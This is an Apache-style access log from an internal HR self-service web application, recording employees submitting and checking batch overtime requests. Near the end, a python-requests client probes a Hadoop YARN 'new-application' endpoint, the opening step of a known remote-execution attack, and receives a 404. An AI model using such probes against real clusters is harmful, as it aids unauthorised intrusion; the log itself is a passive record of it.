192.168.11.136 - - [04/Sep/2025:09:29:09 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.136 - - [04/Sep/2025:09:29:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.64 - - [04/Sep/2025:09:29:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5199 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:29:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5199
192.168.11.64 - - [04/Sep/2025:09:29:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [04/Sep/2025:09:29:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:29:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [04/Sep/2025:09:29:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.136 - - [04/Sep/2025:09:29:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.136 - - [04/Sep/2025:09:29:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.136 - - [04/Sep/2025:09:29:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.136 - - [04/Sep/2025:09:29:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [04/Sep/2025:09:29:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [04/Sep/2025:09:29:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.136 - - [04/Sep/2025:09:29:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:20 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:20 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.136 - - [04/Sep/2025:09:29:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.136 - - [04/Sep/2025:09:29:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.136 - - [04/Sep/2025:09:29:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:20 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:20 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.136 - - [04/Sep/2025:09:29:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.136 - - [04/Sep/2025:09:29:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.64 - - [04/Sep/2025:09:29:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:29:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.136 - - [04/Sep/2025:09:29:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24574032216628316 HTTP/1.1" 200 8900 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24574032216628316 HTTP/1.1" 200 8900
192.168.11.64 - - [04/Sep/2025:09:29:41 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8649319947108236 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:29:41 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8649319947108236 HTTP/1.1" 200 5264
192.168.11.64 - - [04/Sep/2025:09:29:46 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8649319947108236 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8649319947108236" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:29:46 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8649319947108236 HTTP/1.1" 302 -
192.168.11.64 - - [04/Sep/2025:09:29:47 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 14648
192.168.11.64 - - [04/Sep/2025:09:29:47 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 14648 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8649319947108236" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:29:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:29:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.64 - - [04/Sep/2025:09:29:52 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131060%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131060&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:29:52 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131060%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131060&target=iframe HTTP/1.1" 200 3251
192.168.11.136 - - [04/Sep/2025:09:29:47 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24574032216628316 HTTP/1.1" 200 24844
192.168.11.136 - - [04/Sep/2025:09:29:47 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24574032216628316 HTTP/1.1" 200 24844 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.24574032216628316" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.64 - - [04/Sep/2025:09:30:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=131060 HTTP/1.1" 200 5331 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131060%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131060&target=iframe" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:30:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=131060 HTTP/1.1" 200 5331
192.168.11.64 - - [04/Sep/2025:09:30:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=131060&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 18178
192.168.11.64 - - [04/Sep/2025:09:30:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=131060&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 18178 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&requestno=131060" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.136 - - [04/Sep/2025:09:31:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:31:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.136 - - [04/Sep/2025:09:31:52 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131061%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131061&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:31:52 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131061%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131061&target=iframe HTTP/1.1" 200 3251
192.168.11.136 - - [04/Sep/2025:09:31:53 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084
192.168.11.136 - - [04/Sep/2025:09:31:53 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131061%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131061&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:31:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:31:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.136 - - [04/Sep/2025:09:32:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 23402 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:32:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 23402
192.168.11.136 - - [04/Sep/2025:09:32:04 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.11.136 - - [04/Sep/2025:09:32:04 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:32:04 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.11.136 - - [04/Sep/2025:09:32:04 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [04/Sep/2025:09:36:58 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [04/Sep/2025:09:36:58 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0"
100.64.0.1 - - [04/Sep/2025:09:45:29 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
